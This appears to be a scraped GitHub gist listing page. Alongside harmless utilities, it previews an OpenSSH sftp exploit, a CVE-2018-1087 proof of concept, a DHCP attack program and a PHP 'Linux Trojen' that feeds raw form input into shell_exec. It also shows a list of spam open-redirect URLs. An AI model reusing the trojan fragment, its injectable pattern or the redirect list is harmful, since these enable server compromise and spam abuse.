Skip to content

Instantly share code, notes, and snippets.

View avelardi's full-sized avatar

Tony Velardi avelardi

42 followers · 139 following
View GitHub Profile
@avelardi
avelardi / README.md
Last active May 28, 2025 00:14
gg.deals fanatical redirect link resolver to bypass jdoqocy blocked links

gg.deals.jdoqocy.fix.user.js

This is on GreasyFork - Link Here

Changelog

1.0.2 - 2025.05.27

  • Initial fixed release to be compatible with auto-updates
@avelardi
avelardi / exif-tool-powereshell-reg-entry.md
Created April 29, 2025 23:29
windows registry entry powershell as custom context menu item - exiftool remove all exif data

Windows registry entry for exif removal via powershell

Shout out to THIS PERSON for dropping a workable command template

This is not written using best practice, hacked it together to make it work.

Notes

  • Needs exiftool installed and in your path unless you change it
  • Context item will output the file to same dir as sha256hash.[orig ext]
  • Note: cmd dumps the %1 param as a codeblock into powershell
@avelardi
avelardi / xbox-wishlist.py
Created January 17, 2025 06:21
simple xbox wishlist csv file export
import requests
from bs4 import BeautifulSoup
from pprint import pprint
from datetime import datetime
import string
d = {}
gc = 0
printable = set(string.printable)
#csv header row
@avelardi
avelardi / snake.c
Created July 10, 2018 14:34
OpenSSH 6.6 x64 sftp command exec
#define _GNU_SOURCE
// THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
// TRY TO ATTACK BACK, THE CODE IS SLOPPY!
// (In other words, please don't use this against other people's machines.)
#include <libssh/libssh.h>
#include <libssh/sftp.h>
#include <stdlib.h>
#include <stdio.h>
@avelardi
avelardi / mov_ss_trap.c
Created May 14, 2018 17:19
CVE-2018-1087 poc from mailing list
/* SPDX-License-Identifier: GPL-2.0 */
/*
* mov_ss_trap.c: Exercise the bizarre side effects of a watchpoint on MOV SS
*
* This does MOV SS from a watchpointed address followed by various
* types of kernel entries. A MOV SS that hits a watchpoint will queue
* up a #DB trap but will not actually deliver that trap. The trap
* will be delivered after the next instruction instead. The CPU's logic
* seems to be:
*
@avelardi
avelardi / branchscope-en.md
Last active April 24, 2024 07:31
Branchscope

BranchScope Article memo by herumi

Original here, just run through Google Translate and fixed formatting.

Whitepaper: BranchScope: A New Side-ChannelAttack on Directional Branch Predictor

Caution: I still do not understand the essential part

  • I might update it (maybe I can not dig into anymore because the condition that can be attacked is too severe to think that it is usually impossible)

Overview

@avelardi
avelardi / shim.md
Last active March 13, 2023 23:27
Nginx SSL Passphrase Shim Service For Systemd

make fifo: mkfifo -m 600 /path/to/fifo

/etc/nginx/sites-enabled/site

[CUT]
	ssl_certificate		/path/to/cert;
	ssl_password_file       /path/to/fifo;
	ssl_certificate_key	/path/to/key;
[CUT]
@avelardi
avelardi / dhcp-attack.cpp
Created April 9, 2018 07:12
///////////BrownStarTeam///////////
#include <time.h>
#include <pthread.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
@avelardi
avelardi / found.php
Last active April 18, 2018 08:54
# BrownStarTeam & B0STANLI Linux Trojen V3 Final Series 25.10.2017:00.07 #
<br><br>
<form method="post" action="">
Makinede Dosya Arama:<input type="text" name="keyword"><br />
<input type="submit" value="Gonder" name="submit">
</form>
<?php
$keywords=$_POST["keyword"];
$result=shell_exec('find / -name "'.$keywords.'"');
@avelardi
avelardi / sites_sample.txt
Last active April 18, 2018 08:53
http://providencecc.vfao.com/register.aspx?Returnurl=http://timmy9972ph.eccportal.net/this-is-the-stress-that-will-shock-your-nervous-system-and-cause-the-greatest-release-of-muscle-building-hormones
1 http://www.capitalfinancialgroupinc.com/offsite/?url=http://donald3254sy.nightsgarden.com/before-increasing-the-weight-levels-they-should-work-on-becoming-familiar-with-the-proper-form-and-execution-of-each
http://01.look2.jp/webto.php?url=http%3A%2F%2Fportal.agrivisor.com%2FUserProfile%2Ftabid%2F166%2FUserID%2F235506%2FDefault.aspx
http://02035.org/feed/feed2js.php?src=http%3A%2F%2Ffile.feelcool.org%2Fresites.php%3Furl%3Dhttp%3A%2F%2Fparentingdiscou.sosblogs.com%2FThe-first-blog-b1%2FUnlike-Isolation-Exercises-Which-Only-Work-Individual-Muscles-Multi-jointed-Lifts-Work-Many-Different-Muscle-Groups-Simultaneously-b1-p58.htm&
http://0233.1go.co.kr/link.php?url=http://www.bikenightusa.com/r.php%3Fr=http://ramsay24654.soup.io/post/646870827/Like-All-The-Core-Muscle-Building-Exercises
http://030702.com/__media__/js